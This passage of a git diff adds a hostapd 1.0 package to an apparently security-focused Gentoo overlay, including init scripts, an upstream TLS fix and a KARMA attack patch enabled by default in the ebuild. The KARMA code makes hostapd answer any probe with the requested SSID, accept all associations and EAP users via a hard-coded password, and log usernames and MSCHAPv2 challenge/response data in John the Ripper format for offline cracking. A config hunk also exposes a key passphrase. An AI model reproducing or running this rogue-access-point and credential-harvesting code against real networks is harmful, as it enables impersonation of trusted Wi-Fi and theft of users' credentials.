ant != hapd->conf->access_network_type) { + wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR + " for mismatching ANT %u ignored", + MAC2STR(mgmt->sa), ant); +@@ -310,14 +374,14 @@ + } + + if (elems.interworking && +- (elems.interworking_len == 7 || elems.interworking_len == 9)) { ++ (elems.interworking_len == 7 || elems.interworking_len == 9)) { + const u8 *hessid; + if (elems.interworking_len == 7) + hessid = elems.interworking + 1; + else + hessid = elems.interworking + 1 + 2; + if (!is_broadcast_ether_addr(hessid) && +- os_memcmp(hessid, hapd->conf->hessid, ETH_ALEN) != 0) { ++ os_memcmp(hessid, hapd->conf->hessid, ETH_ALEN) != 0) { + wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR + " for mismatching HESSID " MACSTR + " ignored", +@@ -427,6 +491,13 @@ + wpa_printf(MSG_EXCESSIVE, "STA " MACSTR " sent probe request for %s " + "SSID", MAC2STR(mgmt->sa), + elems.ssid_len == 0 ? "broadcast" : "our"); ++ ++ // KARMA ++ if (free_ssid) { ++// wpa_printf(MSG_MSGDUMP, "KARMA ssid malloc'd so free it\n"); ++ os_free (ssid); ++ } ++ // END KARMA + } + + #endif /* NEED_AP_MLME */ +diff -Nur hostapd-1.0/src/ap/ieee802_11.c hostapd-1.0-karma/src/ap/ieee802_11.c +--- hostapd-1.0/src/ap/ieee802_11.c 2012-05-09 22:56:09.000000000 +0100 ++++ hostapd-1.0-karma/src/ap/ieee802_11.c 2012-08-06 12:24:27.000000000 +0100 +@@ -520,18 +520,28 @@ + if (ssid_ie == NULL) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + +- if (ssid_ie_len != hapd->conf->ssid.ssid_len || +- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) { ++ // KARMA ++ if (hapd->iconf->enable_karma) { + char ssid_txt[33]; + ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len); +- hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, +- HOSTAPD_LEVEL_INFO, +- "Station tried to associate with unknown SSID " +- "'%s'", ssid_txt); +- return WLAN_STATUS_UNSPECIFIED_FAILURE; +- } ++ wpa_printf(MSG_MSGDUMP, "KARMA: Checking SSID for start of association, pass through %s", ssid_txt); + +- return WLAN_STATUS_SUCCESS; ++ return WLAN_STATUS_SUCCESS; ++ } else { ++ if (ssid_ie_len != hapd->conf->ssid.ssid_len || ++ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) { ++ char ssid_txt[33]; ++ ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len); ++ hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, ++ HOSTAPD_LEVEL_INFO, ++ "Station tried to associate with unknown SSID " ++ "'%s'", ssid_txt); ++ return WLAN_STATUS_UNSPECIFIED_FAILURE; ++ } ++ ++ return WLAN_STATUS_SUCCESS; ++ } ++ // KARMA END + } + + +@@ -1523,6 +1533,21 @@ + * step. + */ + ap_sta_set_authorized(hapd, sta, 1); ++ ++ // KARMA ++ // Print that it has associated and give the MAC and AP ++ // Doesn't currently work though as can't find ESSID ++ if (hapd->iconf->enable_karma) { ++ // This gives the ESSID of the AP and not the one from the probe. ++ //struct hostapd_ssid *ssid = sta->ssid; ++ ++ // printf("KARMA: Successful association of " MACSTR " to ESSID '%s'\n", ++ // MAC2STR(mgmt->da), ssid->ssid); ++ printf("KARMA: Successful association of " MACSTR "\n", ++ MAC2STR(mgmt->da)); ++ } ++ ++ // KARMA END + } + + if (reassoc) +diff -Nur hostapd-1.0/src/crypto/random.c hostapd-1.0-karma/src/crypto/random.c +--- hostapd-1.0/src/crypto/random.c 2012-05-09 22:56:09.000000000 +0100 ++++ hostapd-1.0-karma/src/crypto/random.c 2012-08-06 12:20:55.000000000 +0100 +@@ -134,8 +134,8 @@ + static unsigned int count = 0; + + count++; +- wpa_printf(MSG_MSGDUMP, "Add randomness: count=%u entropy=%u", +- count, entropy); ++ //wpa_printf(MSG_MSGDUMP, "Add randomness: count=%u entropy=%u", ++ // count, entropy); + if (entropy > MIN_COLLECT_ENTROPY && (count & 0x3ff) != 0) { + /* + * No need to add more entropy at this point, so save CPU and diff --git a/net-wireless/hostapd/files/hostapd-1.0-karma.patch b/net-wireless/hostapd/files/hostapd-1.0-karma.patch new file mode 100644 index 00000000..2b88965a --- /dev/null +++ b/net-wireless/hostapd/files/hostapd-1.0-karma.patch @@ -0,0 +1,465 @@ +diff -urN hostapd-1.0.orig//hostapd/Makefile hostapd-1.0/hostapd/Makefile +--- hostapd-1.0.orig//hostapd/Makefile 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/hostapd/Makefile 2012-07-17 18:36:53.318959033 +0800 +@@ -3,7 +3,7 @@ + endif + + ifndef CFLAGS +-CFLAGS = -MMD -O2 -Wall -g ++CFLAGS = -MMD -O2 -Wall -DDEBUG -g -pg + endif + + CFLAGS += -I../src +@@ -95,6 +95,7 @@ + + OBJS += ../src/eapol_auth/eapol_auth_sm.o + ++OBJS += ../src/karma/karma.o + + ifndef CONFIG_NO_DUMP_STATE + # define HOSTAPD_DUMP_STATE to include SIGUSR1 handler for dumping state to + +diff -urN hostapd-1.0.orig//hostapd/hostapd.conf hostapd-1.0/hostapd/hostapd.conf +--- hostapd-1.0.orig//hostapd/hostapd.conf 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/hostapd/hostapd.conf 2012-07-17 18:36:53.319959023 +0800 +@@ -3,7 +3,7 @@ + + # AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for + # management frames); ath0 for madwifi +-interface=wlan0 ++interface=wlan1 + + # In case of madwifi, atheros, and nl80211 driver interfaces, an additional + # configuration parameter, bridge, may be used to notify hostapd if the +@@ -23,6 +23,7 @@ + # Use driver=none if building hostapd as a standalone RADIUS server that does + # not control any wireless/wired driver. + # driver=hostap ++driver=nl80211 + + # hostapd event logger configuration + # +@@ -88,7 +89,7 @@ + # Country code (ISO/IEC 3166-1). Used to set regulatory domain. + # Set as needed to indicate country in which device is operating. + # This can limit available channels and transmit power. +-#country_code=US ++country_code=US + + # Enable IEEE 802.11d. This advertises the country_code and the set of allowed + # channels and transmit power levels based on the regulatory limits. The +@@ -413,7 +414,7 @@ + ##### IEEE 802.1X-2004 related configuration ################################## + + # Require IEEE 802.1X authorization +-#ieee8021x=1 ++ieee8021x=1 + + # IEEE 802.1X/EAPOL version + # hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL +@@ -421,7 +422,7 @@ + # the new version number correctly (they seem to drop the frames completely). + # In order to make hostapd interoperate with these clients, the version number + # can be set to the older version (1) with this configuration value. +-#eapol_version=2 ++eapol_version=1 + + # Optional displayable message sent with EAP Request-Identity. The first \0 + # in this string will be converted to ASCII-0 (nul). This can be used to +@@ -463,16 +464,18 @@ + # Use integrated EAP server instead of external RADIUS authentication + # server. This is also needed if hostapd is configured to act as a RADIUS + # authentication server. +-eap_server=0 ++eap_server=1 + + # Path for EAP server user database + #eap_user_file=/etc/hostapd.eap_user + + # CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS + #ca_cert=/etc/hostapd.ca.pem ++ca_cert=/etc/hostapd/sf_bundle.pem + + # Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS + #server_cert=/etc/hostapd.server.pem ++server_cert=/etc/hostapd/INTRANET.pem + + # Private key matching with the server certificate for EAP-TLS/PEAP/TTLS + # This may point to the same file as server_cert if both certificate and key +@@ -480,9 +483,11 @@ + # used by commenting out server_cert and specifying the PFX file as the + # private_key. + #private_key=/etc/hostapd.server.prv ++private_key=/etc/hostapd/INTRANET.pem + + # Passphrase for private key + #private_key_passwd=secret passphrase ++private_key_passwd=Cricket8 + + # Enable CRL verification. + # Note: hostapd does not yet support CRL downloading based on CDP. Thus, a +@@ -680,6 +685,7 @@ + # bit0 = WPA + # bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled) + #wpa=1 ++wpa=3 + + # WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit + # secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase +@@ -701,6 +707,7 @@ + # added to enable SHA256-based stronger algorithms. + # (dot11RSNAConfigAuthenticationSuitesTable) + #wpa_key_mgmt=WPA-PSK WPA-EAP ++wpa_key_mgmt=WPA-EAP + + # Set of accepted cipher suites (encryption algorithms) for pairwise keys + # (unicast packets). This is a space separated list of algorithms: +diff -urN hostapd-1.0.orig//hostapd/main.c hostapd-1.0/hostapd/main.c +--- hostapd-1.0.orig//hostapd/main.c 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/hostapd/main.c 2012-07-17 18:37:57.724959001 +0800 +@@ -39,6 +39,10 @@ + + extern struct wpa_driver_ops *wpa_drivers[]; + ++/* Karma Mode */ ++#include "karma/karma.h" ++int karma_beacon_respond = 0; ++int karma_eap_auth = 0; + + struct hapd_global { + void **drv_priv; +@@ -521,7 +525,7 @@ + show_version(); + fprintf(stderr, + "\n" +- "usage: hostapd [-hdBKtv] [-P ] [-e ] " ++ "usage: hostapd [-hdBKtvRA] [-P ] [-e ] " + "\n" + "\n" + "options:\n" +@@ -535,7 +539,9 @@ + " -f log output to debug file instead of stdout\n" + #endif /* CONFIG_DEBUG_FILE */ + " -t include timestamps in some debug messages\n" +- " -v show hostapd version\n"); ++ " -v show hostapd version\n" ++ " -R [karma] respond to all probes using requested SSID\n" ++ " -A [karma] enable authentication attempt logging\n"); + + exit(1); + } +@@ -564,7 +570,7 @@ + return -1; + + for (;;) { +- c = getopt(argc, argv, "Bde:f:hKP:tv"); ++ c = getopt(argc, argv, "Bde:f:hKP:tvRA"); + if (c < 0) + break; + switch (c) { +@@ -595,6 +601,12 @@ + case 't': + wpa_debug_timestamp++; + break; ++ case 'R': ++ karma_beacon_respond++; ++ break; ++ case 'A': ++ karma_eap_auth++; ++ break; + case 'v': + show_version(); + exit(1); +diff -urN hostapd-1.0.orig//src/ap/beacon.c hostapd-1.0/src/ap/beacon.c +--- hostapd-1.0.orig//src/ap/beacon.c 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/ap/beacon.c 2012-07-17 18:36:53.322959001 +0800 +@@ -14,6 +14,11 @@ + * See README and COPYING for more details. + */ + ++#define _GNU_SOURCE ++#include ++ ++#include "karma/karma.h" ++ + #include "utils/includes.h" + + #ifndef CONFIG_NATIVE_WINDOWS +@@ -283,7 +288,24 @@ + if (sta) + sta->ssid_probe = &hapd->conf->ssid; + } +- ++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun */ ++ else if (karma_beacon_respond) { ++ char ssid_txt[33]; ++ char *message = NULL; ++ ++ ieee802_11_print_ssid(ssid_txt, elems.ssid, elems.ssid_len); ++ ++ if (asprintf(&message, "Probe request from " MACSTR " for SSID '%s'", MAC2STR(mgmt->sa), ssid_txt) < 0) ++ wpa_printf(MSG_ERROR, "Error allocating memory for Karma message\n"); ++ ++ karma_logger(0, message); ++ free(message); ++ ++ ssid = (char *)elems.ssid; ++ ssid_len = elems.ssid_len; ++ //if (sta) ++ // sta->ssid_probe = &elems.ssid; ++ } + if (!ssid) { + if (!(mgmt->da[0] & 0x01)) { + char ssid_txt[33]; +diff -urN hostapd-1.0.orig//src/ap/hostapd.c hostapd-1.0/src/ap/hostapd.c +--- hostapd-1.0.orig//src/ap/hostapd.c 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/ap/hostapd.c 2012-07-17 18:36:53.323958995 +0800 +@@ -12,6 +12,8 @@ + * See README and COPYING for more details. + */ + ++#include "karma/karma.h" ++ + #include "utils/includes.h" + + #include "utils/common.h" +diff -urN hostapd-1.0.orig//src/ap/ieee802_11.c hostapd-1.0/src/ap/ieee802_11.c +--- hostapd-1.0.orig//src/ap/ieee802_11.c 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/ap/ieee802_11.c 2012-07-17 18:36:53.324958995 +0800 +@@ -12,6 +12,8 @@ + * See README and COPYING for more details. + */ + ++#include "karma/karma.h" ++ + #include "utils/includes.h" + + #ifndef CONFIG_NATIVE_WINDOWS +@@ -520,8 +522,9 @@ + if (ssid_ie == NULL) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + +- if (ssid_ie_len != hapd->conf->ssid.ssid_len || +- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) { ++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun */ ++ if ((!karma_beacon_respond) && (ssid_ie_len != hapd->conf->ssid.ssid_len || ++ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) { + char ssid_txt[33]; + ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len); + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, +diff -urN hostapd-1.0.orig//src/eap_server/eap_server.c hostapd-1.0/src/eap_server/eap_server.c +--- hostapd-1.0.orig//src/eap_server/eap_server.c 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/eap_server/eap_server.c 2012-07-17 18:36:53.325959001 +0800 +@@ -18,6 +18,11 @@ + * backend_auth configuration variable to TRUE. + */ + ++#define _GNU_SOURCE ++#include ++ ++#include "karma/karma.h" ++ + #include "includes.h" + + #include "common.h" +@@ -99,24 +104,51 @@ + int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len, + int phase2) + { +- struct eap_user *user; ++ struct eap_user *user; ++ char *username = NULL; ++ char *message = NULL; ++ ++ eap_user_free(sm->user); ++ sm->user = NULL; + +- if (sm == NULL || sm->eapol_cb == NULL || ++ user = os_zalloc(sizeof(*user)); ++ if (user == NULL) ++ return -1; ++ ++ /* Karma Mode: Accept all requests, regardless of username - JoMo-Kun */ ++ if (karma_eap_auth) ++ { ++ user->methods[0].vendor = sm->respVendor; ++ user->password = os_zalloc(9); ++ strncpy((char *)user->password, "Cricket8", 8); /* Magic password allows successful authentication */ ++ user->password_len = 8; ++ ++ if (phase2) ++ user->methods[0].method = EAP_TYPE_MSCHAPV2; ++ else // TODO: what happens if we propose LEAP? ++ user->methods[0].method = EAP_TYPE_PEAP; ++ ++ username = os_zalloc(sm->identity_len + 1); ++ strncpy(username, (char *)sm->identity, (size_t)sm->identity_len); ++ ++ if (asprintf(&message, "Authentication Request - Username: %s Vendor: %d Method: %d", username, sm->respVendor, sm->respVendorMethod) < 0) ++ printf("Error allocating memory for request message.\n"); ++ ++ karma_logger(0, message); ++ free(message); ++ } ++ else ++ { ++ if (sm == NULL || sm->eapol_cb == NULL || + sm->eapol_cb->get_eap_user == NULL) +- return -1; ++ return -1; + +- eap_user_free(sm->user); +- sm->user = NULL; +- +- user = os_zalloc(sizeof(*user)); +- if (user == NULL) +- return -1; +- +- if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity, +- identity_len, phase2, user) != 0) { +- eap_user_free(user); +- return -1; +- } ++ if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity, ++ identity_len, phase2, user) != 0) { ++ eap_user_free(user); ++ return -1; ++ } ++ } + + sm->user = user; + sm->user_eap_method_index = 0; +diff -urN hostapd-1.0.orig//src/eap_server/eap_server_mschapv2.c hostapd-1.0/src/eap_server/eap_server_mschapv2.c +--- hostapd-1.0.orig//src/eap_server/eap_server_mschapv2.c 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/eap_server/eap_server_mschapv2.c 2012-07-17 18:36:53.331959001 +0800 +@@ -12,6 +12,8 @@ + * See README and COPYING for more details. + */ + ++#include "karma/karma.h" ++ + #include "includes.h" + + #include "common.h" +@@ -290,13 +292,15 @@ + struct wpabuf *respData) + { + struct eap_mschapv2_hdr *resp; +- const u8 *pos, *end, *peer_challenge, *nt_response, *name; ++ const u8 *pos, *end, *auth_challenge, *peer_challenge, *nt_response, *name; + u8 flags; + size_t len, name_len, i; + u8 expected[24]; + const u8 *username, *user; + size_t username_len, user_len; + int res; ++ char *auth_creds = NULL; ++ int auth_creds_len = 0; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData, + &len); +@@ -336,6 +340,38 @@ + wpa_printf(MSG_MSGDUMP, "EAP-MSCHAPV2: Flags 0x%x", flags); + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Name", name, name_len); + ++ /* Karma Mode: Log MSCHAPv2 exchange in John format - JoMo-Kun */ ++ /* user::domain (unused):authenticator challenge:mschapv2 response:peer challenge */ ++ if (karma_eap_auth) ++ { ++ auth_creds_len = sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 16*2; ++ auth_creds = os_malloc(auth_creds_len + 1); ++ memset(auth_creds, 0, auth_creds_len + 1); ++ ++ strncpy(auth_creds, (char *)sm->identity, sm->identity_len); ++ sprintf(auth_creds + sm->identity_len, ":::"); ++ ++ /* Authenticator Challenge */ ++ auth_challenge = data->auth_challenge; ++ for (i=0; i<16; i++) ++ sprintf(auth_creds + sm->identity_len + 3 + 2*i, "%2.2X", 0xFF & (int)auth_challenge[i]); ++ ++ sprintf(auth_creds + sm->identity_len + 3 + 16*2, ":"); ++ ++ /* MSCHAPv2 Response */ ++ for (i=0; i<24; i++) ++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 2*i, "%2.2X", 0xFF & (int)nt_response[i]); ++ ++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2, ":"); ++ ++ /* Peer Challenge */ ++ for (i=0; i<16; i++) ++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 2*i, "%2.2X", 0xFF & (int)peer_challenge[i]); ++ ++ karma_logger(1, auth_creds); ++ free(auth_creds); ++ } ++ + /* MSCHAPv2 does not include optional domain name in the + * challenge-response calculation, so remove domain prefix + * (if present). */ +diff -urN hostapd-1.0.orig//src/karma/karma.c hostapd-1.0/src/karma/karma.c +--- hostapd-1.0.orig//src/karma/karma.c 1970-01-01 07:30:00.000000000 +0730 ++++ hostapd-1.0/src/karma/karma.c 2012-07-17 18:36:53.332959000 +0800 +@@ -0,0 +1,43 @@ ++#define _GNU_SOURCE ++#include ++#include ++ ++#include "common.h" ++#include "includes.h" ++#include "trace.h" ++ ++#include "karma/karma.h" ++ ++/* Karma Mode: Log data related to MSCHAPv2 challenge/response authentication attempts */ ++extern void karma_logger(int type, char *message) ++{ ++ FILE *logfd; ++ time_t cur_time; ++ struct tm *tm_ptr; ++ char time_buf[256]; ++ /* General: probe requests, username requests */ ++ logfd = fopen("./hostapd-karma.txt", "a"); ++ if (logfd == NULL) { ++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.txt\n"); ++ logfd = stderr; ++ } ++ ++ time(&cur_time); ++ tm_ptr = localtime(&cur_time); ++ strftime(time_buf, 256, "%Y-%m-%d %H:%M:%S", tm_ptr); ++ fprintf(logfd, "%s: %s\n", time_buf, message); ++ fprintf(stderr, "[karma] %s: %s\n", time_buf, message); ++ fclose(logfd); ++ ++ /* MSCHAPv2 Challenge/Response */ ++ if (type == 1) ++ { ++ logfd = fopen("./hostapd-karma.lc", "a"); ++ if (logfd == NULL) { ++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.lc\n"); ++ logfd = stderr; ++ } ++ fprintf(logfd, "%s\n", message); ++ fclose(logfd); ++ } ++} +diff -urN hostapd-1.0.orig//src/karma/karma.h hostapd-1.0/src/karma/karma.h +--- hostapd-1.0.orig//src/karma/karma.h 1970-01-01 07:30:00.000000000 +0730 ++++ hostapd-1.0/src/karma/karma.h 2012-07-17 18:36:53.332959000 +0800 +@@ -0,0 +1,3 @@ ++extern int karma_beacon_respond; ++extern int karma_eap_auth; ++extern void karma_logger(int, char*); +diff -urN hostapd-1.0.orig//src/utils/wpa_debug.c hostapd-1.0/src/utils/wpa_debug.c +--- hostapd-1.0.orig//src/utils/wpa_debug.c 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/utils/wpa_debug.c 2012-07-17 18:36:53.333959000 +0800 +@@ -22,6 +22,8 @@ + static int wpa_debug_syslog = 0; + #endif /* CONFIG_DEBUG_SYSLOG */ + ++/* Karma Mode */ ++#include "karma/karma.h" + + int wpa_debug_level = MSG_INFO; + int wpa_debug_show_keys = 0; diff --git a/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch b/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch new file mode 100644 index 00000000..abf15a6e --- /dev/null +++ b/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch @@ -0,0 +1,24 @@ +diff -aurp a/src/drivers/drivers.mak b/src/drivers/drivers.mak +--- a/src/drivers/drivers.mak 2012-10-03 19:42:16.387634128 +0000 ++++ b/src/drivers/drivers.mak 2012-10-03 19:43:16.246693744 +0000 +@@ -48,7 +48,7 @@ NEED_RFKILL=y + ifdef CONFIG_LIBNL32 + DRV_LIBS += -lnl-3 + DRV_LIBS += -lnl-genl-3 +- DRV_CFLAGS += -DCONFIG_LIBNL20 ++ DRV_CFLAGS += -DCONFIG_LIBNL20 -I/usr/include/libnl3 + else + ifdef CONFIG_LIBNL_TINY + DRV_LIBS += -lnl-tiny +diff -aurp a/src/drivers/drivers.mk b/src/drivers/drivers.mk +--- a/src/drivers/drivers.mk 2012-10-03 19:42:16.385634126 +0000 ++++ b/src/drivers/drivers.mk 2012-10-03 19:43:23.333700780 +0000 +@@ -48,7 +48,7 @@ NEED_RFKILL=y + ifdef CONFIG_LIBNL32 + DRV_LIBS += -lnl-3 + DRV_LIBS += -lnl-genl-3 +- DRV_CFLAGS += -DCONFIG_LIBNL20 ++ DRV_CFLAGS += -DCONFIG_LIBNL20 -I/usr/include/libnl3 + else + ifdef CONFIG_LIBNL_TINY + DRV_LIBS += -lnl-tiny diff --git a/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch b/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch new file mode 100644 index 00000000..bda92cf4 --- /dev/null +++ b/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch @@ -0,0 +1,48 @@ +From 586c446e0ff42ae00315b014924ec669023bd8de Mon Sep 17 00:00:00 2001 +From: Jouni Malinen +Date: Sun, 7 Oct 2012 20:06:29 +0300 +Subject: [PATCH] EAP-TLS server: Fix TLS Message Length validation + +EAP-TLS/PEAP/TTLS/FAST server implementation did not validate TLS +Message Length value properly and could end up trying to store more +information into the message buffer than the allocated size if the first +fragment is longer than the indicated size. This could result in hostapd +process terminating in wpabuf length validation. Fix this by rejecting +messages that have invalid TLS Message Length value. + +This would affect cases that use the internal EAP authentication server +in hostapd either directly with IEEE 802.1X or when using hostapd as a +RADIUS authentication server and when receiving an incorrectly +constructed EAP-TLS message. Cases where hostapd uses an external +authentication are not affected. + +Thanks to Timo Warns for finding and reporting this issue. + +Signed-hostap: Jouni Malinen +intended-for: hostap-1 +--- + src/eap_server/eap_server_tls_common.c | 8 ++++++++ + 1 files changed, 8 insertions(+), 0 deletions(-) + +diff --git a/src/eap_server/eap_server_tls_common.c b/src/eap_server/eap_server_tls_common.c +index 31be2ec..46f282b 100644 +--- a/src/eap_server/eap_server_tls_common.c ++++ b/src/eap_server/eap_server_tls_common.c +@@ -228,6 +228,14 @@ static int eap_server_tls_process_fragment(struct eap_ssl_data *data, + return -1; + } + ++ if (len > message_length) { ++ wpa_printf(MSG_INFO, "SSL: Too much data (%d bytes) in " ++ "first fragment of frame (TLS Message " ++ "Length %d bytes)", ++ (int) len, (int) message_length); ++ return -1; ++ } ++ + data->tls_in = wpabuf_alloc(message_length); + if (data->tls_in == NULL) { + wpa_printf(MSG_DEBUG, "SSL: No memory for message"); +-- +1.7.4-rc1 + diff --git a/net-wireless/hostapd/files/hostapd-conf.d b/net-wireless/hostapd/files/hostapd-conf.d new file mode 100644 index 00000000..7d05735e --- /dev/null +++ b/net-wireless/hostapd/files/hostapd-conf.d @@ -0,0 +1,9 @@ +# Space separated List of interfaces which needs to be started before +# hostapd +INTERFACES="wlan0" + +# Space separated list of configuration files +CONFIGS="/etc/hostapd/hostapd.conf" + +# Extra options to pass to hostapd, see hostapd(8) +OPTIONS="" diff --git a/net-wireless/hostapd/files/hostapd-init.d b/net-wireless/hostapd/files/hostapd-init.d new file mode 100644 index 00000000..bc5b8d6a --- /dev/null +++ b/net-wireless/hostapd/files/hostapd-init.d @@ -0,0 +1,50 @@ +#!/sbin/runscript +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/files/hostapd-init.d,v 1.3 2011/09/25 14:03:46 gurligebis Exp $ + +extra_started_commands="reload" + +depend() { + local myneeds= + for iface in ${INTERFACES}; do + myneeds="${myneeds} net.${iface}" + done + + [ -n "${myneeds}" ] && need ${myneeds} + use logger +} + +checkconfig() { + local file + + for file in ${CONFIGS}; do + if [ ! -r "${file}" ]; then + eerror "hostapd configuration file (${CONFIG}) not found" + return 1 + fi + done +} + +start() { + checkconfig || return 1 + + ebegin "Starting ${SVCNAME}" + start-stop-daemon --start --exec /usr/sbin/hostapd \ + -- -B ${OPTIONS} ${CONFIGS} + eend $? +} + +stop() { + ebegin "Stopping ${SVCNAME}" + start-stop-daemon --stop --exec /usr/sbin/hostapd + eend $? +} + +reload() { + checkconfig || return 1 + + ebegin "Reloading ${SVCNAME} configuration" + kill -HUP $(pidof /usr/sbin/hostapd) > /dev/null 2>&1 + eend $? +} diff --git a/net-wireless/hostapd/hostapd-1.0-r4.ebuild b/net-wireless/hostapd/hostapd-1.0-r4.ebuild new file mode 100644 index 00000000..343129db --- /dev/null +++ b/net-wireless/hostapd/hostapd-1.0-r4.ebuild @@ -0,0 +1,207 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/hostapd-1.0-r4.ebuild,v 1.4 2012/10/12 00:52:20 blueness Exp $ + +EAPI="4" + +inherit toolchain-funcs eutils + +DESCRIPTION="IEEE 802.11 wireless LAN Host AP daemon" +HOMEPAGE="http://hostap.epitest.fi" +SRC_URI="http://hostap.epitest.fi/releases/${P}.tar.gz" + +LICENSE="|| ( GPL-2 BSD )" +SLOT="0" +KEYWORDS="amd64 ~mips ppc x86" +IUSE="cui debug ipv6 +karma logwatch madwifi +ssl +wps +crda" + +DEPEND="ssl? ( dev-libs/openssl ) + kernel_linux? ( + dev-libs/libnl:3 + crda? ( net-wireless/crda ) + ) + madwifi? ( || + ( >net-wireless/madwifi-ng-tools-0.9.3 + net-wireless/madwifi-old ) )" +RDEPEND="${DEPEND}" + +S="${S}/${PN}" + +src_prepare() { + cd .. + epatch "${FILESDIR}/${P}-libnl_path_fix.patch" + epatch "${FILESDIR}/${P}-tls_length_fix.patch" + use karma && epatch "${FILESDIR}/${P}-karma.patch" + use cui && epatch "${FILESDIR}/cui-20120417.patch" + + sed -i -e "s:/etc/hostapd:/etc/hostapd/hostapd:g" \ + "${S}/hostapd.conf" || die +} + +src_configure() { + local CONFIG="${S}/.config" + + # toolchain setup + echo "CC = $(tc-getCC)" > ${CONFIG} + + # EAP authentication methods + echo "CONFIG_EAP=y" >> ${CONFIG} + echo "CONFIG_EAP_MD5=y" >> ${CONFIG} + + if use ssl; then + # SSL authentication methods + echo "CONFIG_EAP_TLS=y" >> ${CONFIG} + echo "CONFIG_EAP_TTLS=y" >> ${CONFIG} + echo "CONFIG_EAP_MSCHAPV2=y" >> ${CONFIG} + echo "CONFIG_EAP_PEAP=y" >> ${CONFIG} + fi + + if use wps; then + # Enable Wi-Fi Protected Setup + echo "CONFIG_WPS=y" >> ${CONFIG} + echo "CONFIG_WPS2=y" >> ${CONFIG} + echo "CONFIG_WPS_UPNP=y" >> ${CONFIG} + einfo "Enabling Wi-Fi Protected Setup support" + fi + + echo "CONFIG_EAP_GTC=y" >> ${CONFIG} + echo "CONFIG_EAP_SIM=y" >> ${CONFIG} + echo "CONFIG_EAP_AKA=y" >> ${CONFIG} + echo "CONFIG_EAP_PAX=y" >> ${CONFIG} + echo "CONFIG_EAP_PSK=y" >> ${CONFIG} + echo "CONFIG_EAP_SAKE=y" >> ${CONFIG} + echo "CONFIG_EAP_GPSK=y" >> ${CONFIG} + echo "CONFIG_EAP_GPSK_SHA256=y" >> ${CONFIG} + + einfo "Enabling drivers: " + + # drivers + echo "CONFIG_DRIVER_HOSTAP=y" >> ${CONFIG} + einfo " HostAP driver enabled" + echo "CONFIG_DRIVER_WIRED=y" >> ${CONFIG} + einfo " Wired driver enabled" + echo "CONFIG_DRIVER_PRISM54=y" >> ${CONFIG} + einfo " Prism54 driver enabled" + echo "CONFIG_DRIVER_NONE=y" >> ${CONFIG} + einfo " None driver enabled" + + if use madwifi; then + # Add include path for madwifi-driver headers + einfo " Madwifi driver enabled" + echo "CFLAGS += -I/usr/include/madwifi" >> ${CONFIG} + echo "CONFIG_DRIVER_MADWIFI=y" >> ${CONFIG} + else + einfo " Madwifi driver disabled" + fi + + einfo " nl80211 driver enabled" + echo "CONFIG_DRIVER_NL80211=y" >> ${CONFIG} + echo "CFLAGS += -I/usr/include/netlink" >> ${CONFIG} + echo "LIBS += -L/usr/lib" >> ${CONFIG} + + # misc + echo "CONFIG_PKCS12=y" >> ${CONFIG} + echo "CONFIG_RADIUS_SERVER=y" >> ${CONFIG} + echo "CONFIG_IAPP=y" >> ${CONFIG} + echo "CONFIG_IEEE80211R=y" >> ${CONFIG} + echo "CONFIG_IEEE80211W=y" >> ${CONFIG} + echo "CONFIG_IEEE80211N=y" >> 